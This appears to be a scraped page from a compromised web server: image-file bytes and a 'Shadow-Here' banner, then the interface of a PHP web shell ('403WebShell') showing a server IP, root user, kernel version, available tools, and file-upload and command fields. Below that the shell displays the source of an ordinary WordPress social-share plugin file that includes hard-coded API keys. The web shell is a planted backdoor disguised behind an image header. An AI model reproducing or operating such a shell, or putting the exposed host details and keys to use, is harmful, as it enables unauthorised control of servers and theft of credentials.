RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/sodaltech/wp-content/plugins/wp-social/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/sodaltech/wp-content/plugins/wp-social/inc/share.php
<?php

namespace WP_Social\Inc;

use WP_Social\App\Providers;
use WP_Social\App\Settings;
use WP_Social\App\Share_Settings;
use WP_Social\Lib\Provider\Share_Factory;

defined('ABSPATH') || exit;

/**
 * Class Name : Share;
 * Class Details : this class for showing login button in login and register page for wp, woocommerce, buddyPress and others
 *
 * @params : void
 * @return : void
 *
 * @since : 1.0
 */
class Share {

	private $app_key = ['c5752d2f90b7c95dd6fcf1ffc82a8fbb68d8c9e8', '1934f519a63e142e0d3c893e59cc37fe0172e98a'];
	private $api_url = 'https://api.sharedcount.com/v1.0/?url=%s&apikey=%s';

	public function __construct($load = true) {

		if($load) {
			//add_filter( 'plugin_row_meta', array( $this, 'xs_plugin_row_meta' ), 10, 2 );

			add_shortcode('xs_social_share', [$this, 'social_share_shortcode']);

			add_action('the_content', [$this, 'share_the_body_content']);
			//add_action('wp_body_open', [ $this, 'share_the_body_content_body' ] );

			add_action('wp_footer', [$this, 'share_the_body_content_body']);
		}
	}

	/*
	 body and content
	*/
	public function share_the_body_content($content = '') {

		$position = Share_Settings::instance()->get_share_content_position();

		/*
			check indiviaual social share style positon
		*/
		Global $post;
		$page_position = get_post_custom( $post->ID );
		if( isset($page_position['social_share_style'][0]) ){
			$inner_position = $page_position['social_share_style'][0];
			if( $inner_position !== 'global'){
				$position = $inner_position;
			}
		}
		
		if( $position != 'no_content')  {

			$get_content = $this->get_share_data('all', ['class' => $position]);

			if($position == 'after_content') {

				return $content . $get_content;
			}

			if($position == 'before_content') {

				return $get_content . $content;
			}

			if($position == 'both_content'){
				return $get_content . $content . $get_content;
			}
		}

		return $content;
	}


	/**
	 * This will give the html for fixed share
	 *
	 * @author UnKnown
	 *
	 */
	public function share_the_body_content_body() {

		$style = get_option('xs_style_setting_data_share', '');
		$content_position = isset($style['login_button_content']) ? $style['login_button_content'] : '';

		if(in_array($content_position, ['left_content', 'right_content', 'top_content', 'bottom_content'])) {

			// set default type fixed_display for body
			echo $this->get_share_data('all', ['class' => $content_position, 'type' => 'fixed_display']); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped --  It's already has been escaped from the /template/share/share-html.php
		}
	}


	public function social_share_action($post_url = '', $id_post = 0) {


		$option_key = 'xs_share_providers_data';
		$xsc_options = get_option($option_key) ? get_option($option_key) : [];
		$share_provider = isset($xsc_options['social']) ? $xsc_options['social'] : '';

		if(empty($post_url) || $id_post == 0) {
			return '';
		}
		$cache = 12;

		$api_key_set = 'c5752d2f90b7c95dd6fcf1ffc82a8fbb68d8c9e8';

		$get_transient = get_transient('xs_share_data__' . $id_post);
		$get_transient_time = get_transient('timeout_xs_share_data__' . $id_post);

		$prev_data = get_post_meta($id_post, 'xs_share_data__', true) ? get_post_meta($id_post, 'xs_share_data__', true) : [];


		if($get_transient_time > time()) {
			return '';
		}

		$url = sprintf($this->api_url, $post_url, $api_key_set);

		$get_request = wp_remote_get($url, []);
		$request = wp_remote_retrieve_body($get_request);
		$api_call = @json_decode($request, true);

		$return = [];
		$xsc_transient = [];

		if(is_array($share_provider) && sizeof($share_provider) > 0) :
			foreach($share_provider as $k => $v) :
				if(isset($v['enable'])) {
					$before_data = isset($prev_data[$k]) ? $prev_data[$k] : 0;
					if(!empty($get_transient[$k])) {
						$result = $get_transient[$k];
					} else {
						if($k == 'facebook') {
							$result = isset($api_call['Facebook']['share_count']) ? $api_call['Facebook']['share_count'] : $before_data;
						} else {
							if($k == 'pinterest') {
								$result = isset($api_call['Pinterest']) ? $api_call['Pinterest'] : $before_data;
							} else {
								if($k == 'linkedin') {
									$result = isset($api_call['LinkedIn']) ? $api_call['LinkedIn'] : $before_data;
								} else {
									if($k == 'stumbleUpon') {
										$result = isset($api_call['StumbleUpon']) ? $api_call['StumbleUpon'] : $before_data;
									} else {
										$result = 0;
									}
								}
							}
						}
					}
					$return[$k] = $result;
					$xsc_transient[$k] = $result;
				}
			endforeach;
		endif;

		update_post_meta($id_post, 'xs_share_data__', $return);

		set_transient('xs_share_data__' . $id_post, $xsc_transient, $cache * 60 * 60);
	}


	/**
	 * Return Content for shortCode
	 *
	 * @author UnKnown
	 *
	 * @param $atts
	 * @param null $content
	 *
	 * @return string
	 */
	public function social_share_shortcode($atts, $content = null) {

		$atts = shortcode_atts(
			array(
				'provider' => 'all',
				'class'    => '',
				'style'    => '',
				'hover'    => '',
				'layout'   => 'horizontal',
				'count'    => 'No',
				'box_only' => '',
			),
			$atts,
			'xs_social_share'
		);

		if(empty(trim($atts['provider'])) || $atts['provider'] == 'all') {
			$provider = 'all';
		} else {
			$provider = explode(',', strtolower($atts['provider']));
		}

		$config = [];
		$config['class'] = trim($atts['class']);
		$config['style'] = trim($atts['style']);
		$config['hover'] = trim($atts['hover']);
		$config['hv_effect'] = trim($atts['layout']);
		$config['show_count'] = ucfirst(strtolower(trim($atts['count'])));
		$config['show_count'] = in_array($config['show_count'], ['Yes', 'No']) ? $config['show_count'] : 'No';
		$config['conf_type'] = 'shortCode';

		return $this->get_share_data($provider, $config);
	}


	/**
	 *
	 * @param string $provider
	 * @param array $config
	 *
	 * @return string
	 */
	public function get_share_data($provider = 'all', $config = []) {

		global $post;

		$postId = isset($post->ID) ? $post->ID : 0;


		$thumbnail_src = wp_get_attachment_image_src(get_post_thumbnail_id($postId), 'full');
		$custom_logo_id = get_theme_mod('custom_logo');
		$image = wp_get_attachment_image_src($custom_logo_id, 'full');
		$customLogo = isset($image[0]) ? $image[0] : '';
		$media = isset($thumbnail_src[0]) ? $thumbnail_src[0] : $customLogo;
		$app_id = '2577123062406162';
		$details = '';
		$author = 'xpeedstudio';
		$title = get_the_title($postId);
		$source = get_bloginfo();


		$config['conf_type'] = empty($config['conf_type']) ? 'content_body' : $config['conf_type'];


		$core_provider  = Providers::get_core_providers_share();
		$provider       = ($provider == 'all') ? array_keys($core_provider) : $provider;


		$themeFontClass = Share_Settings::instance()->is_theme_font_enabled() ? 'wslu-theme-font-yes' : 'wslu-theme-font-no';
		$customClass    = empty($config['class']) ? '' : $config['class'];

		$saved_style_settings = Settings::instance()->get_share_style_settings();
		//$saved_global_settings = Settings::instance()->get_share_main_settings();
		//$saved_provider_settings = Settings::instance()->get_share_provider_settings();


		$styles = \WP_Social\Inc\Admin_Settings::share_styles();
		$hvStyles = \WP_Social\Inc\Admin_Settings::$horizontal_style;

		$hoverStyles = [
			'none-none' => [
				'name'  => 'None',
				'class' => 'wslu-none',
			],
		];

		if(did_action('wslu_social_pro/plugin_loaded') && class_exists('\WP_Social_Pro\Inc\Admin_Settings')) {

			if( method_exists( \WP_Social_Pro\Inc\Admin_Settings::class, 'share_hover_effects' ) ){

				$hoverStyles = \WP_Social_Pro\Inc\Admin_Settings::share_hover_effects();

			}else{

				$hoverStyles = \WP_Social_Pro\Inc\Admin_Settings::$share_hover_effects;
				
			}

		}

		//defaults values
		$showCountMarkup = false;
		$shareStyleKey = 'style-1';
		$shareHoverKey = 'none-none';
		$vhEffectKey = 'horizontal';
		$fixedWidget_style = 'main_content';
		$displayCls = 'wslu-fixed_display';


		if($config['conf_type'] == 'widget') {

			#content for widget.....
			#from widget we always hiding total markup
			#always main style........................

			if(isset($config['show_count']) && $config['show_count'] === 'yes') {
				$showCountMarkup = true;
			}else {
				$showCountMarkup = false;
			}
			$fixed_display = 'main_content';
			$displayCls = 'wslu-main_content';

			$shareStyleKey = empty($config['style']) ? $shareStyleKey : $config['style']; //after resetting the plugin style-1 will be assigned
			$shareHoverKey = empty($config['hover']) ? $shareHoverKey : $config['hover'];
			$vhEffectKey = empty($config['hv_effect']) ? $vhEffectKey : $config['hv_effect'];

			$mainStyleCls = isset($styles[$shareStyleKey]['class']) ? 'wslu-' . $shareStyleKey . ' ' . $styles[$shareStyleKey]['class'] : '';
			$hoverEffect = empty($hoverStyles[$shareHoverKey]) ? $hoverStyles['none-none']['class'] : $hoverStyles[$shareHoverKey]['class'];
			$vhClass = $hvStyles[$vhEffectKey]['class'];

			$widget_style = $mainStyleCls . ' ' . $hoverEffect . ' ' . $vhClass . ' ' . $themeFontClass . ' ' . $displayCls;

		} elseif($config['conf_type'] == 'shortCode') {

			$fixed_display = 'main_content';
			$displayCls = 'wslu-main_content';

			#here always be the main display settings......
			$shareStyleKeys = empty($saved_style_settings['main_content']['style']) ?
				$shareStyleKey . ':' . $shareHoverKey . ':' . $vhEffectKey : $saved_style_settings['main_content']['style'];

			$bArr = explode(':', $shareStyleKeys);

			#Overridden by short-code attribute
			$shareStyleKey = empty($config['style']) ? $bArr[0] : $config['style'];
			$shareHoverKey = empty($config['hover']) ? $bArr[1] : $config['hover'];
			$vhEffectKey = empty($config['hv_effect']) ? $bArr[2] : $config['hv_effect'];

			$mainStyleCls = isset($styles[$shareStyleKey]['class']) ? 'wslu-' . $shareStyleKey . ' ' . $styles[$shareStyleKey]['class'] : '';
			$hoverEffect = empty($hoverStyles[$shareHoverKey]) ? $hoverStyles['none-none']['class'] : $hoverStyles[$shareHoverKey]['class'];
			$vhClass = empty($hvStyles[$vhEffectKey]) ? $hvStyles['horizontal']['class'] : $hvStyles[$vhEffectKey]['class'];

			$widget_style = $mainStyleCls . ' ' . $hoverEffect . ' ' . $vhClass . ' ' . $themeFontClass . ' ' . $displayCls;

			$showCountMarkup = $config['show_count'] == 'Yes';

		} else {

			//for appending/prepending to main content

			$fixed_display = isset($config['type']) ? $config['type'] : 'main_content';

			if($fixed_display == 'fixed_display') {

				$shareStyleKey = 'style-1';    //defaults values
				$shareHoverKey = 'none-none';
				$vhEffectKey = 'vertical';
				$displayCls = 'wslu-fixed_display';

				$shareStyleKeys = empty($saved_style_settings['fixed_display']['style']) ?
					$shareStyleKey . ':' . $shareHoverKey . ':' . $vhEffectKey : $saved_style_settings['fixed_display']['style'];

				$bArr = explode(':', $shareStyleKeys);

				$shareStyleKey = $bArr[0];
				$shareHoverKey = $bArr[1];
				$vhEffectKey = $bArr[2];

				$mainStyleCls = isset($styles[$shareStyleKey]['class']) ? 'wslu-' . $shareStyleKey . ' ' . $styles[$shareStyleKey]['class'] : '';
				$hoverEffect = empty($hoverStyles[$shareHoverKey]) ? $hoverStyles['none-none']['class'] : $hoverStyles[$shareHoverKey]['class'];
				$vhClass = $hvStyles[$vhEffectKey]['class'];

				$widget_style = $mainStyleCls . ' ' . $hoverEffect . ' ' . $vhClass . ' ' . $themeFontClass . ' ' . $displayCls;


				$showFixedDisplaySC = empty($config['fixed_share_count']) ?
					(empty($saved_style_settings['fixed_display']['show_social_count_share']) ? '0' :
						$saved_style_settings['fixed_display']['show_social_count_share']) :
					$config['fixed_share_count'];

				$showCountMarkup = $showFixedDisplaySC == '1';

			} else {

				$shareStyleKeys = empty($saved_style_settings['main_content']['style']) ?
					$shareStyleKey . ':' . $shareHoverKey . ':' . $vhEffectKey :
					$saved_style_settings['main_content']['style'];

				$bArr = explode(':', $shareStyleKeys);

				$shareStyleKey = $bArr[0];
				$shareHoverKey = $bArr[1];
				$vhEffectKey = $bArr[2];
				$displayCls = 'wslu-main_content';

				$mainStyleCls = isset($styles[$shareStyleKey]['class']) ? 'wslu-' . $shareStyleKey . ' ' . $styles[$shareStyleKey]['class'] : '';
				$hoverEffect = empty($hoverStyles[$shareHoverKey]) ? $hoverStyles['none-none']['class'] : $hoverStyles[$shareHoverKey]['class'];
				$vhClass = $hvStyles[$vhEffectKey]['class'];

				$widget_style = $mainStyleCls . ' ' . $hoverEffect . ' ' . $vhClass . ' ' . $themeFontClass . ' ' . $displayCls;

				$showMainDisplaySC = empty($config['main_share_count']) ?
					(empty($saved_style_settings['main_content']['show_social_count_share']) ? '0' :
						$saved_style_settings['main_content']['show_social_count_share']) :
					$config['main_share_count'];

				$showCountMarkup = $showMainDisplaySC == '1';
			}
		}


		$enabled_providers = Settings::instance()->get_enabled_providers_share();
		$share_counting = [];

		$currentUrl = (isset($_SERVER['HTTPS']) && sanitize_text_field($_SERVER['HTTPS']) === 'on' ? 'https' : 'http') . '://' . sanitize_text_field($_SERVER['HTTP_HOST']) . sanitize_url($_SERVER['REQUEST_URI']);

		$share_counting = Share_Settings::instance()->get_share_count($post, $enabled_providers);


		$totalSCount = 0;

		if($showCountMarkup) {

			foreach($enabled_providers as $key => $arr) {
				if(!empty($arr['enable'])) {
					$totalSCount += $share_counting[$key]['count'];
				}
			}
		}


		if(!empty($post->post_excerpt)) {

			$details = $post->post_excerpt;
		}


		ob_start();
		require(WSLU_LOGIN_PLUGIN . '/template/share/share-html.php');
		$counter = ob_get_contents();
		ob_end_clean();

		return $counter;
	}


	/**
	 * This function should be replace with Providers::get_core_providers_share() methods for all places
	 *
	 */
	public function social_share_link() {

		$link = [];
		$link['facebook'] = ['label' => 'Facebook', 'url' => 'http://www.facebook.com/sharer.php', 'params' => ['u' => '[%url%]', 't' => '[%title%]', 'v' => 3]];
		$link['twitter'] = ['label' => 'Twitter', 'url' => 'https://twitter.com/intent/tweet', 'params' => ['text' => '[%title%] [%url%]', 'original_referer' => '[%url%]', 'related' => '[%author%]']];
		$link['linkedin'] = ['label' => 'LinkedIn', 'url' => 'https://www.linkedin.com/shareArticle', 'params' => ['url' => '[%url%]', 'title' => '[%title%]', 'summary' => '[%details%]', 'source' => '[%source%]', 'mini' => true]];
		$link['pinterest'] = ['label' => 'Pinterest', 'url' => 'https://pinterest.com/pin/create/button/', 'params' => ['url' => '[%url%]', 'media' => '[%media%]', 'description' => '[%details%]']];
		$link['facebook-messenger'] = ['label' => 'Facebook Messenger', 'url' => 'https://www.facebook.com/dialog/send', 'params' => ['link' => '[%url%]', 'redirect_uri' => '[%url%]', 'display' => 'popup', 'app_id' => '[%app_id%]']];
		$link['kik'] = ['label' => 'Kik', 'url' => 'https://www.kik.com/send/article/', 'params' => ['url' => '[%url%]', 'text' => '[%details%]', 'title' => '[%title%]']];
		$link['skype'] = ['label' => 'Skype', 'url' => 'https://web.skype.com/share', 'params' => ['url' => '[%url%]']];
